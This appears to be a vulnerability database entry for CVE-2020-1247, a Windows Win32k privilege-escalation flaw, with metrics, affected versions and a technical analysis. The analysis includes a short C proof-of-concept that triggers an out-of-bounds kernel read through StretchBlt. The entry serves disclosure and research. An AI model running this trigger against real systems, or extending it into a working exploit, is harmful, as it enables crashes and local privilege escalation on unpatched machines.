Attacker Value
High
(1 user assessed)
Exploitability
Very Low
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Local
1

CVE-2020-1247

Disclosure Date: June 09, 2020 •
CVE-2020-1247 CVSS v3 Base Score: 7.8
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

An elevation of privilege vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory, aka ‘Win32k Elevation of Privilege Vulnerability’. This CVE ID is unique from CVE-2020-1207, CVE-2020-1251, CVE-2020-1253, CVE-2020-1310.

Add Assessment

3
Ratings
  • Attacker Value
    High
  • Exploitability
    Very Low
Common in enterpriseGives privileged accessVulnerable in default configurationDifficult to weaponize
Technical Analysis

A vulnerability exists within the NtGditretchBlt system call that can be leveraged to trigger an out of bounds read access within win32kfull!vStrWrite04. The bug manifests itself when the Special Pool setting is enabled through the driver verifier utility.

An attacker would use this flaw to escalate their privileges to that of the local system through this kernel mode exploit.

Exploitation would be very difficult, a successful attack would need an information leak as well as reliable control over the win32k heap which is more difficult on Windows 10 than previous versions of Windows due to type isolation (added in RS3) and the KASLR improvements (added in the Anniversary Update). The win32k subsystem is however available as an attack surface on all versions of Windows making it a very high-value target.

#include <Windows.h>

int main()
{
    BITMAPINFO bi = {{0x28, 0x2, 0xfffffffffffffffb, 0x2, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2}};
    char out[0x1000] = {0};
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateDIBitmap(r0, 0x0, 0x6, &out, &bi, 0x0);
    SelectObject(r0, r1);
    StretchBlt(r0, 0x0, 0x0, 0x8, 0x8, r0, 0x0, 0x0, 0xffffffffffffffeb, 0x4, 0xee00e6);

    return 0;
}

Original PoC provided by Check Point Research, see: https://cpr-zero.checkpoint.com/about/

Log in to Add Reply
CVSS V3 Severity and Metrics
Base Score:
7.8 High
Impact Score:
5.9
Exploitability Score:
1.8
Vector:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Local
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows 8.1 for 32-bit systems
Windows 8.1 for x64-based systems
Windows RT 8.1
Windows Server version 1803 (Core Installation)
Windows Server 2019
Windows Server 2019 (Core installation)
Windows Server 2016
Windows Server 2016 (Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Core installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Core installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Core installation)
Windows Server 2012
Windows Server 2012 (Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • microsoft

Products

  • windows 10 -,
  • windows 10 1607,
  • windows 10 1709,
  • windows 10 1803,
  • windows 10 1809,
  • windows 10 1903,
  • windows 10 1909,
  • windows 10 2004,
  • windows 7 -,
  • windows 8.1 -,
  • windows rt 8.1 -,
  • windows server 2008 -,
  • windows server 2008 r2,
  • windows server 2012 -,
  • windows server 2012 r2,
  • windows server 2016 -,
  • windows server 2016 1803,
  • windows server 2016 1903,
  • windows server 2016 1909,
  • windows server 2016 2004,
  • windows server 2019 -

Additional Info

Authenticated
Unknown
Exploitable
Unknown
Reliability
Unknown
Stability
Unknown
Available Mitigations
Unknown
Shelf Life
Unknown
Userbase/Installbase
Unknown
Patch Effectiveness
Unknown
Technical Analysis